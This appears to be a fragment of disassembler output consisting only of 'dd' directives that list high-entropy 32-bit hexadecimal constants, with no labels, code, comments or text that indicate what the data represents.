dd 0EA2FDE0Ch, 0A070C73h, 29EB7165h, 0C49513CFh, 161FB899h
dd 54B638E2h, 9DF2BA92h, 0BB228C12h, 0EFC05DB5h, 0B1511E59h
dd 21AA7FD8h, 51EAFEB3h, 2ABBB28Ah, 0FA860403h, 84ED7F6h
dd 0E93851B8h, 0E2771F33h, 6E482BBAh, 0D7995A54h, 5BE95660h
dd 0F0D9B56Dh, 47E7D7A5h, 5723E2ADh, 7FA756C5h, 9DA2C064h
dd 0F5E5095Dh, 0E950BA59h, 6D63E3A3h, 2A05BE4Eh, 2FE81D6Fh
dd 80229C8Fh, 6F75FED0h, 49E9840Fh, 0CC6CBC74h, 630AA56h
dd 0BE3E4627h, 294C0B34h, 49FA4B0Ch, 0A5DD33F1h, 0ADACD2C0h
dd 0AA16FB0Fh, 3DBF0C98h, 0E926971Fh, 0C7D6D4BDh, 96595838h
dd 3D0CEFD0h, 4057D0B2h, 9E256811h, 5B8737Dh, 0EA2C4896h
dd 0D5AF300h, 3FC2612h, 43C10529h, 99AB155Dh, 407080A0h
dd 0E2E0E92Dh, 0E760F556h, 0F633C5FEh, 0C88008D5h, 0B0EF20A8h
dd 4BB04E57h, 9ED5028Eh, 0B85C48D7h, 25D26910h, 2DE62405h
dd 0BC6FF0A5h, 61EB9293h, 55A7C8Dh, 76F8F0EFh, 58825BBh
dd 85B1350h, 591203E9h, 2968FDCCh, 9E87668Ch, 9305C55h
dd 2B82578Fh, 58049842h, 0C9AC05B0h, 0C5777460h, 0E95C4063h
dd 44B5B5C0h, 19CC9DCEh, 0D94BA84Ah, 4E85DCF1h, 0C02FF257h
dd 7E1E4A68h, 597F08h, 963785E1h, 52E95522h, 2DEEEC4Eh
dd 3A46F9E2h, 0EEC77DB4h, 931F5FA5h, 41EC8E64h, 5A9195F6h
dd 15B8D9C7h, 0FD2C5B01h, 0DEB22B53h, 0FB338C1h, 0E9D28530h
dd 0BEEDA43Eh, 23092D12h, 17F5C89Ah, 0CB2EFFFCh, 5A27A84Ah
dd 69CEB338h, 4101ADC8h, 30172962h, 2C2633BAh, 0CF1F9E74h
dd 66B25430h, 0A8144E69h, 0E0F83974h, 0CB4BE38h, 97F2C28h
dd 87B98927h, 2F949C57h, 0CF3B2D03h, 1F817DAh, 9C1665Fh
dd 0C97B74C0h, 48412A63h, 10116858h, 3BC9B7AFh, 0B551D4B7h
dd 0FE63C1A0h, 4B468683h, 7B3CE146h, 0E9E1A2FCh, 26A68C1h
dd 282A7EB8h, 7E405F18h, 24E6841h, 841B9EDh, 4A758C30h
dd 0D134AA4Eh, 0BF474C2h, 0C73D80FDh, 5A5F6DE2h, 19C1A167h
dd 13D22FBCh, 0A20F4B31h, 0F2AD80CAh, 0E9FD036Bh, 574DE03Eh
dd 7499BF00h, 6AE93305h, 0C775CC53h, 979ECE84h, 8F4AE025h
dd 915395CDh, 6C8DC117h, 0E63FB1E1h, 8C9D1178h, 78EC502h
dd 0C2D784DBh, 54C86428h, 97509D3Bh, 5C582F54h, 0ADD972Dh
dd 565AA78Eh, 6E935143h, 5B78DAB3h, 68F7289Eh, 310E1F31h
dd 4B7BE6ECh, 29F65BDEh, 7AE17C25h, 7993D155h, 9A984121h
dd 16680078h, 6000BE22h, 0DC20DEA3h, 0E1272BB4h, 887E5E35h
dd 734E96Eh, 0DC139967h, 0FEFD74AAh, 0AB5F31E3h, 0F7832402h
dd 0A00DFAFEh, 5FC89230h, 10BCF805h, 0EC77AA9Dh, 7D8BAA68h
dd 7F4FBB70h, 0CF04F7B8h, 0FE75062Fh, 7E846A20h, 0C43C5B29h
dd 6260ABCBh, 0BC2AE951h, 475F257Eh, 0F288895Ah, 0C9A782DBh
dd 0DDFEBCB0h, 0E5E6EA4Eh, 92F3C797h, 40CDB134h, 1B33EB65h
dd 9D2B1C26h, 0FB225B2Eh, 56D9FEB5h, 214FE598h, 770935E3h
dd 0AA825079h, 2C035E66h, 5D59B2F4h, 0E985A75Bh, 0A842B6EDh
dd 0FF06EEC1h, 0F81CD1A5h, 0F02113DAh, 4FCA2BAAh, 0CB85E202h
dd 7C8694BAh, 3E5894E9h, 0BD977ACh, 1361CC2Dh, 0F08D6FA8h
dd 1AAB20F5h, 59D70BCFh
dd 0D816891Bh, 316971ADh, 0D1A846F1h, 56010183h, 0FA0CB9BEh
dd 56093B03h, 40756189h, 0BBD1842Eh, 0B7A140ECh, 2E326372h
dd 5682CF51h, 5A3273E9h, 0CA529783h, 0B95B29F6h, 44FE6C34h
dd 9B1C49h, 6F402B2Dh, 97B9F70h, 2BC6520Bh, 0D5625D70h
dd 7084D216h, 2A9219D4h, 0F705C111h, 1227DFD5h, 16E7E2BEh
dd 8DA2A8D3h, 4085FA90h, 319CAAB8h, 40F9F8D5h, 351D5907h
dd 50FA5577h, 8E91D8DEh, 236C0603h, 7225DF31h, 0B5834BE4h
dd 20B22F2Eh, 0D2BBE952h, 3957E5A2h, 6D4434AFh, 0E0069AC2h
dd 491881h, 725EBD55h, 11E97125h, 0F9A36FE9h, 4F508A25h
dd 0F388664Eh, 0FA519528h, 930B0E24h, 0DD387741h, 2149D668h
dd 0A85270Eh, 752DBB76h, 850FA48Bh, 0FB384FA6h, 41C2FBF1h
dd 0D69F7EFEh, 0BB52D8D7h, 0DD09FE81h, 0DDA3DAE8h, 87309233h
dd 0F4794B2Dh, 0B6525160h, 0CE801890h, 0FE720657h, 0EE7AD0ECh
dd 500AF605h, 6ECBE4B4h, 0E388530Fh, 0E9D8C3FCh, 0DF0FE86Fh
dd 0C577D9F1h, 6CC12144h, 573D12E4h, 5D241D04h, 1CEFA38h
dd 5BE5B64Eh, 2902DBF0h, 5B47C6Dh, 90FEFCA6h, 0B34B4A65h
dd 0E0E2264Ah, 98EC05Eh, 0D8C0790Fh, 0C86F54BAh, 4B39812h
dd 5C046999h, 5EF1601h, 0E8A2EE63h, 6913D4CDh, 0D200FD60h
dd 47C76E85h, 0CA074A77h, 3D7948AFh, 6B45E2D0h, 0C78620Ch
dd 2FF2769h, 9C7DD1Eh, 82D952D5h, 31F45D94h, 423AF47Ah
dd 4E7552ADh, 9817C5Bh, 29A9107Fh, 1E58A174h, 0B8209FCDh
dd 0A93F45EDh, 0F8FB5D7Fh, 0EEB51143h, 0BDFAFAA0h, 3CDD6B31h
dd 4FEC5E79h, 6902BBA5h, 0DD396368h, 0BD80E16Ch, 0F25C4738h
dd 0A3141066h, 2C70BA05h, 0CEB5409Dh, 2995440Bh, 137E2D80h
dd 81D8B4Dh, 58135C45h, 4B12DBAEh, 0A66D28BFh, 244CE259h
dd 79124A66h, 0A2AEEC1Dh, 9AC4D3Bh, 2406ECC0h, 60831F6Ah
dd 8C063A9Fh, 81EAD6ADh, 0F0ECAD03h, 17EA4E4Ch, 9CFE3297h
dd 68175DB9h, 2A33081Ch, 25E3C855h, 0E96D15A5h, 0B2059FB1h
dd 0BEC8B703h, 0FF5E7523h, 31F2CF85h, 7235680Bh, 27704FB0h
dd 0D179C428h, 4A5B5A74h, 502645ECh, 431A0065h, 1FE92EA4h
dd 3C5FED40h, 712DF721h, 0C1B626C0h, 0C0F02831h, 0B05C399h
dd 0C3D5056Dh, 2D1A3C04h, 4C9FCE4Ah, 0EF571055h, 0F2773D4Dh
dd 1CB4D7h, 0F820FABEh, 2395467Dh, 0AD665E58h, 7AE662C0h
dd 5088030Fh, 605BE955h, 7EBB340Eh, 0F803EB56h, 0D6F8ED76h
dd 497694F9h, 0B7240880h, 0DFEA70C0h, 0D698682Fh, 0F88B92B7h
dd 53560098h, 0F6815B5Eh, 2C0E17B9h, 9AFF072Dh, 0ABCC944Ch
dd 417840F3h, 0D8B66EB1h, 0D2AFD73Eh, 0DBDDEF62h, 2E424CEh
dd 47712D98h, 0D26C3F40h, 6AD8E5Ah, 568C740h, 0E93E1323h
dd 0B8A3A406h, 0C91FD809h, 5237864Bh, 18629F60h, 4163D975h
dd 7F666858h, 6CBDBE30h, 3FFE3077h, 1889874h, 0A1F7C05Bh
dd 24CEDE99h, 0E498DF22h, 4845F84Eh, 0CCFBB733h, 0DE5E1C90h
dd 0CAFE1292h, 1DFBFD05h, 9931B8B1h, 82298005h, 1176C347h
dd 40432F8h, 53495B34h, 0C7AEDAC5h, 65B38991h, 0A9447A12h
dd 6882DCA8h, 0E1A40F33h, 81E6B012h, 610BE50Bh, 529A57BDh
dd 57CD909h, 71253671h, 7B20F161h, 5F150ACEh, 0FC3AC6h
dd 0CB421377h, 0A7958CE9h, 0EFD4F741h, 5EA8A0AAh, 16AA6819h
dd 238DD87h, 8CD12914h, 48489420h, 876962CFh, 0A88575DEh
dd 8313AFB7h, 493C2A9h, 0B38F6E9Ah, 4BFF5CC3h, 5B133D68h
dd 0F529FA1Dh, 4C4CF72Ch, 3AEE2500h, 0AB351591h, 70F05012h
dd 0DF34C2C7h, 211560BBh, 6048615Ah, 8CA1409Bh, 2ADDE389h
dd 55ADB852h, 5605D214h, 665ADA68h, 5E7B4BBFh, 51452D79h
dd 0E1BA34AEh, 7B853FA8h, 0E912C3E3h, 3A82B182h, 5D4C4ECBh
dd 260B2BC6h, 0FE596618h, 8295E8B0h, 0ED0F4040h, 2BA27AF7h
dd 72C8BED6h, 0CB0A97A9h, 0BD500950h, 13681818h, 0A8302A4Fh
dd 1C4EB7AAh, 1D64EF80h, 70C75DD7h, 0E52EE9EFh, 0E6A821B4h
dd 0F9445F94h, 0AA4B76F8h, 2D5086DEh, 850C1331h, 1184EA55h
dd 0CAEB0812h, 0DF5C253Ch, 0D360AD98h, 37620583h, 0D1C8A09Ah
dd 86C7D4h, 2725B951h, 1D760971h, 7FA9ED03h, 5320147h
dd 2958D740h, 0A561CAh, 0B956E908h, 0BC8219BFh, 0C5D709E6h
dd 5AF32C0Bh, 6A004CCh, 0D52D0BE1h, 0EBE4614Bh, 98FB0844h
dd 0BE405DF0h, 7CA5BF59h, 7411FC66h, 176206CEh, 6C151DFFh
dd 0C2779FCAh, 0FBE991E4h, 0DB9D8950h, 2B80A7Dh, 76C542FBh
dd 2FBE6677h, 0D4C63905h, 3E2FD409h, 82D735Ah, 0B63057CAh
dd 4C0F73B9h, 0B84FAA51h, 0A7F28401h, 92C6F2AAh, 3F2E1405h
dd 4A6E8FEFh, 1E297E9h, 0AD657509h, 8285AF16h, 652EB7BDh
dd 57361A51h, 132094DDh, 0B8EAE7E9h, 6D56DE0Eh, 0A73A35F1h
dd 37385BEh, 194E28EFh, 94654F45h, 3B344DCDh, 54803D0h
dd 13C43CF4h, 0AB33F5A8h, 0E2ED24CBh, 3BECDF72h, 0C2879BFh
dd 8120C4ACh, 0B06C50C4h, 1006C5AFh, 0C6B0858h, 5E5762D7h
dd 0BE958C8h, 81866648h, 8062325h, 8315252Eh, 0AB2CEB40h
dd 9D00E1DDh, 31304C26h, 125A60D5h, 640B70A6h, 6D09019Ch
dd 4DFCEC2h, 216C8BBDh, 49038066h, 7C0B513Fh, 0D4179AE9h
dd 5F78BEADh, 0EF46C518h, 0B5F1F699h, 1A7A0265h, 0E670F763h
dd 976FA220h, 0B0205ED0h, 13C1BD27h, 159343Fh, 0B16EC64Ch
dd 8C316855h, 9538B3Eh, 69B0EBE9h, 7E0BCEh, 0ED2DADEEh
dd 104ED109h, 341567B8h, 0BF02204Eh, 422B637Eh, 11E40940h
dd 0D8C4EB2Dh, 0D8564F6Fh, 4D27E1D8h, 2051F053h, 7FBECAB4h
dd 0D959DA04h, 22F6B0FBh, 7345F041h, 0E85EDCB9h, 0F5E493BDh
dd 0AA0D0644h, 7C474F14h, 95974812h, 17B6D9B0h, 0FA07CE6Bh
dd 8EA2E0Ah, 28422024h, 57680109h, 0CB5A6C13h, 0DE2BFD81h
dd 90950B16h, 80908AE1h, 4D2CFFEh, 284AFB02h, 511B7EFAh
dd 0C3917E50h, 2E5494DEh, 4223CDABh, 36EC290Bh, 67E0E607h
dd 216F38BFh, 1F2C15E3h, 8265EA20h, 7220BD40h, 0FA5E5480h
dd 0FF889FD5h, 1A6211E9h, 20A0AEFh, 40C69ABh, 29E835Eh
dd 0F0039089h, 64953717h, 0BDD08088h, 12311F8Dh, 7A3EC907h
dd 2BE0644Bh, 0D2F63DD9h, 0E579A9B5h, 7F6A0BD3h, 0E6E9E655h
dd 25CABF85h, 485DF809h, 0D2E3B569h, 3AF5F1B4h, 0F7D6FAD2h
dd 3B654E30h, 0B7BB2E86h, 0C15F0546h, 0EB9600E3h, 5755251Bh
dd 129F6CC8h, 0E789B051h, 22B2160Dh, 700285Bh, 0BD5C3159h
dd 0F49733C6h, 0F3818088h, 4B70030Ch, 0F9C5697h, 170C3A36h
dd 0C716370Ch, 0A90B42FCh, 0CBEB76F8h, 12D5358h, 36BC55CDh
dd 50E1FC9Dh, 44B5FB88h, 0B210CA6Bh, 7B730249h, 0CCFF3F5Dh
dd 322B98D3h, 0EB27465Eh, 93BD13DEh, 0CEBF7FB1h, 0C1381362h
dd 0C206A604h, 6157EF4Bh, 0FB2E5D4Ah, 4BC1943Ch, 896A71A2h
dd 3691F4D1h, 0BD8091B1h, 18404ACAh, 3EA4F09h, 0BA51B259h
dd 1BF260CFh, 4F484A26h, 639C05F0h, 83FF37E1h, 495A7616h
dd 49AFDC64h, 1160B229h, 6B1613BFh, 23F251EFh, 8216EA58h
dd 843F97FDh, 0F09CEC5Fh, 28AC2Ch, 0ECB252D8h, 0C067CA80h
dd 0E002E22Dh, 847509FFh, 1731E14Ch, 1D086F8Ah, 0E3D4256Ch
dd 7C33415Ah, 9627160h, 6EAD6857h, 478D5A30h, 0A84BD63Eh
dd 3AC00DD5h, 225162B8h, 3A350565h, 0EA7D1F2Fh, 270DD5C0h
dd 146A5A29h, 3E7ECB21h, 0F7A66143h, 0F8C79727h, 4DE4E777h
dd 0E93BD0B1h, 0EC68C186h
dd 0E56CC975h, 907D882Fh, 827A7690h, 7ABE155h, 68D0203Eh
dd 0D76DA22h, 0A50DDE9Dh, 10C6C0A0h, 545E33C7h, 0BEB1448h
dd 3D66600Ch, 91B9B726h, 204BF825h, 0B116AABDh, 71AA08A4h
dd 0E6C0FE17h, 96D414C0h, 877BA5BFh, 527E82A1h, 50DFA019h
dd 0BEBA6BFAh, 38EE0124h, 6A51C080h, 90F2297Ah, 2088A34h
dd 780DCF1h, 94BC6597h, 1048BCF6h, 0C49DE1Eh, 0A289ED4Ah
dd 0E323C154h, 0AA515C03h, 36CE3E72h, 3E00AC5Fh, 2EE3FFAEh
dd 45C985A9h, 0B4D6CF85h, 300E9DC2h, 0E05F4928h, 0B67A0BEDh
dd 0F90CC016h, 21DBEF43h, 0D5DE824h, 6FE00817h, 481D431Ah
dd 7974DADh, 47EE805Bh, 7F4D9492h, 5F387F59h, 194D101Fh
dd 8890C998h, 1CB818F5h, 125A50A7h, 67C86858h, 0AB518569h
dd 7CE97730h, 0B61A9D5Fh, 5BD8FAFDh, 4C16F6FDh, 0EFD34004h
dd 8C253D09h, 0A1D07F65h, 0C27C0882h, 206333C6h, 12F4712h
dd 60A779C1h, 3CD26B2Dh, 6F233506h, 522A2143h, 0E9C7E058h
dd 88FE25C9h, 69F6E9Eh, 80C3BE7Ch, 17A5EAC4h, 0BE38183Eh
dd 1D089150h, 24F7835Eh, 57801FA4h, 0BAD9E926h, 6A5AEA69h
dd 9D0ABFh, 6364204Bh, 0D3FAEB31h, 90D3AA5Ah, 5063D02h
dd 7EFE6D9Ch, 44B71E5Ch, 2981FEBEh, 5C01971Bh, 0DBF87A50h
dd 95224FC9h, 10D551E3h, 0F872A9B6h, 1091EB01h, 850A62C2h
dd 0F5D04002h, 0A0DD8227h, 62BCB28h, 573001B8h, 0B6F9BBFh
dd 0A1CB4067h, 51637B1h, 0BB4CFB09h, 39DDDC02h, 8B588583h
dd 6617BA5Eh, 1D8D0481h, 8AC98E07h, 4D5F24A9h, 2D1EA57Fh
dd 8CB99E24h, 6CA3DD4Bh, 5DEA2158h, 305818DFh, 8CC6B5B6h
dd 0A01E3B20h, 2570E3FEh, 0A0DF7CEBh, 523C730Eh, 0C2895E0Ch
dd 0CCA16138h, 7AD5015Ah, 8B7918D9h, 59DD9D9Ah, 234F7283h
dd 29E931B1h, 50E0F6D6h, 1028FEEAh, 0C206CE1Eh, 75FD0C74h
dd 25660D18h, 643A9583h, 44E87A0h, 0C1FCCCFBh, 71BBC44Ah
dd 11037277h, 0BD008BF8h, 0A9306366h, 834E801h, 68510984h
dd 2FDB10BAh, 4A284C80h, 4C0DABB8h, 65E3D98h, 9858C558h
dd 0CA42530Ch, 1F21B009h, 0FE4C0638h, 34081C68h, 0E914021Ch
dd 2FF9DFA1h, 77BD892Dh, 2F4BF346h, 5B290609h, 8BC124A8h
dd 61A4F6C8h, 5CD7AFEEh, 7D8B20B2h, 7782609Ah, 10FD1B54h
dd 4BF46807h, 5225CC39h, 925B658h, 0E8FEC6BDh, 73C8BBF3h
dd 0AF7D5C08h, 850DC435h, 63F9B105h, 7A28493h, 185E590Bh
dd 542C870Bh, 1470EBDFh, 5E289E7Dh, 0B4F0A088h, 4A66B82Eh
dd 0C64AF828h, 5F0A28FBh, 2D162060h, 7494E1Eh, 3218050Ch
dd 3E915AEFh, 0A9F20751h, 89785711h, 0FD4AE975h, 9E163BF7h
dd 10ACED0Ch, 0BC5FD082h, 4219880Fh, 315CBCEFh, 42382B6Fh
dd 0CDDC0589h, 0EC4FB1F8h, 97C1F431h, 0A707FEC3h, 0AFF007BBh
dd 5ADDE032h, 50A0719Fh, 0F44A77E9h, 0E3469031h, 7AC2316Ah
dd 114166EDh, 8A4DC43Ch, 8970D227h, 0DFCB399Eh, 3F14B28h
dd 780B0751h, 6852FBC8h, 0BF79EF31h, 4DAC036Dh, 444D1772h
dd 1DD1A9C2h, 138F6055h, 2904E628h, 82101789h, 0A578C70Fh
dd 644AB16h, 21073066h, 5B2A72D9h, 7EAD665Ch, 0AE571854h
dd 0DC95EB63h, 7748EFD3h, 0EFB5812h, 0C99E5381h, 0ADEBFA73h
dd 6ED82DBAh, 1C12BE05h, 9FC17599h, 5300EE23h, 5D9C91B7h
dd 26705CA7h, 33F7BE1Ch, 0AD0E450Fh, 0F6B096E9h, 554B2CDEh
dd 0E231F61Eh, 8E685ABBh, 0B3C0CC7Fh, 0EB80E707h, 23BC0CFh
dd 0D95775h, 7379D2BDh, 0E5026898h, 5B672AB6h, 0B22A414Dh
dd 20508F90h, 0DEBF073Fh, 0AE0B7664h, 836FFE8Ch, 4052425Ah
dd 0F5B985C0h, 0F42E7192h, 0A2259D4Dh, 0ECAE1CD8h, 4278026Ch
dd 407522F3h, 0C4C02BF2h, 0D581524Ch, 0C185AA2Eh, 0A1332704h
dd 0C1D75909h, 0CBECD688h, 44DFBE4Bh, 57B8BF55h, 65DC73E5h
dd 0CB8CBFBCh, 0AB054BE1h, 0F968FB60h, 0DA31C44Eh, 97EA1793h
dd 54D517B4h, 0E0CC1392h, 98CB4E01h, 906A2A4Dh, 6C2727F9h
dd 0CD8220C1h, 2ACA08A0h, 32D10CD0h, 5FA906D3h, 0E9A9614Bh
dd 7C122A7Bh, 17875EB0h, 582F184Dh, 73EAF8A9h, 13E3854Ch
dd 8CBF5493h, 69DB1DDFh, 1618B828h, 805F957Fh, 0C04F527h
dd 0DC0649A5h, 0D63CBF5Fh, 82BB49E9h, 3721BA02h, 0DB8340D8h
dd 0C77C99F5h, 3E355909h, 8A097768h, 1830A5F4h, 904A1BEFh
dd 0C3F200EBh, 0E9303749h, 0D4C4C940h, 8C25A5Bh, 29A0C56h
dd 68B95102h, 57702401h, 0E92C457Ch, 22A0FBA8h, 6D0F255Eh
dd 0C647994Eh, 971C01FCh, 7DEBA554h, 2D02C22Ah, 3897264Dh
dd 30A2C153h, 0BC150C4h, 0ACE3D5B9h, 14C5B6D7h, 0C216F4B7h
dd 16C5F2D3h, 137F42Dh, 0F601EC80h, 0DCDCC9D4h, 0E913D2F4h
dd 0DCAC93E7h, 0A8FA55E3h, 3A547C4Ah, 6F5A5C0Fh, 7D848511h
dd 0A2F167BFh, 4E552D34h, 2D33BDFDh, 510470C2h, 5EEAE8C0h
dd 3024F9Dh, 472DEBACh, 564B3000h, 0CB5990BEh, 0E499484h
dd 18027AB9h, 1075297Ch, 80A207D2h, 0FB8DDF7h, 0D6800692h
dd 5F8AEAD1h, 0DD5D43EEh, 45B8BC4h, 0F3A4511Dh, 0D5CF128Dh
dd 0E321542Bh, 68F1E958h, 0DC56EEBh, 1F028FBAh, 3012C268h
dd 8151AF02h, 9D56C6FFh, 0F5A20BDFh, 7630A56Fh, 13606856h
dd 0A82E2505h, 0F663B730h, 48214C64h, 0D53ABB5Ah, 2F1BA54Ah
dd 9682AFFh, 0A67310E9h, 0F384F126h, 0D78BE67Fh, 66278A2Eh
dd 0C504225Fh, 60E1CAB8h, 0BEC9F045h, 0CBE592EBh, 0EBDA10DBh
dd 3F0B94Ah, 9B09CDB9h, 0F0CEF219h, 1A82986Ch, 8F835797h
dd 50013E5Bh, 35A4E951h, 0CD6BD37Fh, 0A67890C2h, 0CB88531Ch
dd 0AB875C8Fh, 5467905Bh, 940359E9h, 2DF8777Ch, 8473A302h
dd 0BF41D0A7h, 0F693CBA2h, 87C1A6E6h, 69786859h, 61D28A2Ah
dd 3BB85040h, 709EE20h, 0BC2B592Dh, 26DE5108h, 728041FEh
dd 40AC02D8h, 9FADC832h, 66F46546h, 921AA53Eh, 88BBFC78h
dd 0C81CB0CCh, 0C71709B7h, 2C1C2EF6h, 16A69C21h, 341671F8h
dd 0B14B03E0h, 5A011624h, 0C7F72F51h, 0AFCF4C4Bh, 3FF5548Fh
dd 0A27D1F02h, 4087D740h, 4FB33081h, 24900814h, 0AB7B480Bh
dd 0ADEEA50h, 8E10CE08h, 4A02D440h, 0A2D9F8B2h, 127C5DEBh
dd 0A7267F26h, 0C6FEDC0Bh, 56F02039h, 83B8314Fh, 0C1EEE9B0h
dd 22DA3B9h, 0F168542Eh, 0B852C3Ah, 2A74CB72h, 0D0B7BEBBh
dd 8040CC4Bh, 0D1DE24F7h, 6DBB80E8h, 0F329E288h, 0E95E89C3h
dd 2D07B4E5h, 7048100Eh, 86135D05h, 0D8BBCFC1h, 0D101899Fh
dd 5B4EBE5Ah, 0C1457F5Dh, 0AE5EC9FCh, 2CB3182Ch, 0BC0B86Eh
dd 27B3F3A6h, 9FB9C202h, 5479FA2Eh, 1B080595h, 0BA98131Fh
dd 0E23B5969h, 0A8D1D239h, 0B82A8F17h, 605CA25Ah, 0B05EE9EDh
dd 5B6BA96h, 8B422CB8h, 75998078h, 0D045936h, 6034E4Fh
dd 0C4245E83h, 53805A09h, 33C42C94h, 8FBA895h, 0B2AA5F12h
dd 9BE986E9h, 0B657978Fh, 13FF4AEFh, 0D121AE37h, 6B604A5Ah
dd 667D1FBDh, 34DF564Ch, 53DBBBA0h, 1084684Ch, 21EF17CEh
dd 2F9F14BEh, 3E00A652h, 8B0E7B2Dh, 0A7EA1Ah, 3551C17Ch
dd 28FE40E7h, 9EA2C2BFh, 3EFAC74Ch, 0AE58D4C0h, 2517809h
dd 0C1DF0105h, 3B3865CDh, 0C9BAB21Dh, 0A5AFC47h, 75284BF0h
dd 6398F117h, 0C581451Eh, 0AE274744h, 5E180AFh, 0DD5804D0h
dd 7A66872h, 0F12EE906h, 0BB2C3B4Ah, 0E7ED619Dh, 0D85850FEh
dd 0BD1AC7C7h, 0A0603BCh, 9D782DD2h, 6CFB585Ah, 499FD8A9h
dd 54C8F2D7h, 5B1B9026h
dd 0BB1200C9h, 3522E8Bh, 32DF83B7h, 2919073Bh, 0A27BD576h
dd 0EB719274h, 0F2D3E8A5h, 0DB4681C0h, 7BB76193h, 339D1DECh
dd 24D460CDh, 0C763E1BFh, 25E95F4Dh, 0A9B263C3h, 8150B57Ah
dd 3D4F7168h, 4A92222Bh, 0B9C735D9h, 89622FB1h, 172BF4DAh
dd 0C5D9D0BBh, 0E217E7E1h, 4A8009D2h, 1E98CEh, 0BD5529DBh
dd 3FFF7BFEh, 91E3165h, 0CFAB1284h, 0EFE90A72h, 0D8A0F6DAh
dd 7CF4CB25h, 6BEAEFh, 53137D43h, 4169F781h, 0D55A570Dh
dd 36888B96h, 0E9541260h, 99D09E98h, 17DE9E61h, 308ABEA6h
dd 36C6125Dh, 11D2058h, 0BA2FA2F6h, 70B2FEFEh, 0A901507Eh
dd 1D282D67h, 0B14277D1h, 0E9078105h, 3D3E1689h, 17392252h
dd 0DDE70A6Bh, 1232AD5Fh, 0BE8963F1h, 0F1F8D4E0h, 6809B662h
dd 72F13526h, 0D5097FA7h, 0E0FDB189h, 0FD442952h, 4E09DDF2h
dd 8682E2FDh, 275DDB22h, 0A05F50E2h, 302DAD86h, 5EEB1C2Eh
dd 0DD244105h, 788AE938h, 5158134Bh, 0E98249B6h, 154ACD79h
dd 383E85D7h, 0FB4E10B8h, 3F600EDBh, 68F9F75Ch, 0D875572Eh
dd 801D66Bh, 5E2CB423h, 0A7B9D31Eh, 1F9AD6DCh, 11F6CF5Bh
dd 30F0D4D4h, 0E7A12B5Ch, 4AA42821h, 68E69DFBh, 0C668822Dh
dd 14647F2Ch, 9F0E4E9Fh, 7B20E873h, 7BB3D42Fh, 26940937h
dd 693DC55Fh, 77AF117Fh, 0FEC3C46Ah, 0F4D26DE6h, 2145103Ch
dd 5746FE3Bh, 9288B7C5h, 6AE8C709h, 45477215h, 393BA1F7h
dd 0ED3C7FB4h, 1BCBF22Dh, 974325E8h, 0D730604Eh, 2F2941BAh
dd 0E3030A3Bh, 0A1EDAF7h, 0D7038107h, 0E224877h, 0B2447ECEh
dd 0CD800989h, 0FEC84BE9h, 924C7997h, 94EF5FAAh, 0F34A973Dh
dd 86680910h, 6065F472h, 36085635h, 5EF70117h, 88EF9DC2h
dd 680BFA0Bh, 0DBBBDD5Ah, 0BE716F7Eh, 136862C2h, 0D1C4BB5Ah
dd 0E63B2870h, 0E6E84A9Bh, 7828BF4Eh, 0CC054AA7h, 6F07D971h
dd 0EB870D78h, 0D3F7DD21h, 0E91008B1h, 24123B26h, 0C0B2F6EBh
dd 166E98B8h, 0F572B757h, 0E2CDD709h, 0CCC50E0Ah, 24EE45ACh
dd 803B4A44h, 523E72C6h, 0CE682923h, 0F728081Ch, 0C6011480h
dd 0DE26FEC9h, 0B32FC2C8h, 8F219CCh, 0E12F33B6h, 0D56289E1h
dd 781FC14Ch, 0E5DC65A4h, 0BA4753E0h, 0E85CB577h, 48C8E958h
dd 0BE81AFFFh, 2021FC1Bh, 2817F865h, 0C3EF6638h, 0EBF407BCh
dd 0B9CAEE5Dh, 0ED5399BCh, 4E255587h, 8E2DC6D9h, 0AC4B353Ch
dd 673CC80Dh, 0CFDD692Ch, 5B142729h, 93BE5602h, 0D4131735h
dd 2563C005h, 0C0F67D4Ah, 3548010Eh, 72CB62E6h, 0AE215D09h
dd 70977D93h, 5E4EF54Ah, 0E4A510ACh, 0B15FC256h, 0EF4A128Ah
dd 27E91AD8h, 197BB1AEh, 1B7FA7h, 53980C01h, 0DF87682Dh
dd 0C07A4225h, 8C83B62Ch, 0B005AB02h, 7F72F94Dh, 70096E2h
dd 0FA5EE95Fh, 7857C592h, 5959274Ah, 98CE9CEFh, 0E9F209F1h
dd 0CEF66E25h, 6858091Dh, 42464EAh, 17DEE8B3h, 94A8F301h
dd 0D3FE4BDFh, 0C9056DF2h, 2E1963E2h, 0E9828218h, 0BB4B17ADh
dd 58E8FCF4h, 0D6501275h, 0A67948D1h, 22A1CC3Ah, 2C601D41h
dd 7B2C816Fh, 5E2CBB8h, 17445BDFh, 0F46587FAh, 0AB85FAC3h
dd 983DF82h, 8DF8F86Ch, 99CC015Ah, 313FFFBBh, 594419Dh
dd 0AD44C0BAh, 9F86509Eh, 685504B0h, 53EA20Bh, 3B007718h
dd 1B09A0F5h, 14E97E09h, 95505676h, 3250A4A1h, 0C031D5Bh
dd 99F6810Ah, 38259E74h, 14F85B39h, 2FC85311h, 0E288FFEBh
dd 0EF5D4BCEh, 0F3A70B79h, 9FF67294h, 5A1A4ABDh, 803002AEh
dd 0C32879EBh, 500312CCh, 0E1E9C8B4h, 0B7BD1E18h, 0A0020AD1h
dd 7A40408Bh, 0F3A05F56h, 230D10A3h, 1CD12954h, 811C0806h
dd 0E815A14h, 18936CB3h, 82BA001h, 6830CCBh, 0E2863C0h
dd 72906DFh, 5F40A6A9h, 0B603C280h, 0D028952Ch, 8AAA404h
dd 6805DE1Eh, 18D4C4Dh, 7C614EE0h, 0C2E3FD49h, 1F96F75Eh
dd 0FFEA0725h, 0EA9DD116h, 0DEA86221h, 4301126Bh, 10A04EBAh
dd 37F8ABACh, 0F6A2FC5Ah, 0A45B4879h, 9E92FD4Fh, 9652C156h
dd 0E85DF1EFh, 7FF5D293h, 9F4F7138h, 887ED28Bh, 2ABA55EAh
dd 0C303F6CEh, 469A6BF1h, 1C84B401h, 49CB0813h, 5AE70A10h
dd 0C49937BBh, 7331FC75h, 614AE698h, 0DA299705h, 60980AC0h
dd 0AE2148A9h, 0BEF28B15h, 0E8171E13h, 4486C401h, 7910D9FFh
dd 5DE98538h, 437F91FEh, 0D1F6005Ah, 4B236F68h, 0AF34CAC5h
dd 92DF6EB2h, 0EB85C442h, 0BBD262A3h, 0E917B4CEh, 38EDA1B2h
dd 272C5A48h, 21050568h, 0F45A663Dh, 6C0F42B0h, 0A5B172Dh
dd 2F2C07F3h, 5445E958h, 0DCBC8E5h, 2FF974CDh, 6E7816h
dd 30676857h, 9D5F6D7Eh, 96D611C3h, 8F13AF4Ch, 0EC5A50BDh
dd 78A4431Bh, 5D73DB2Eh, 8FBAFEC4h, 145925F1h, 545025CFh
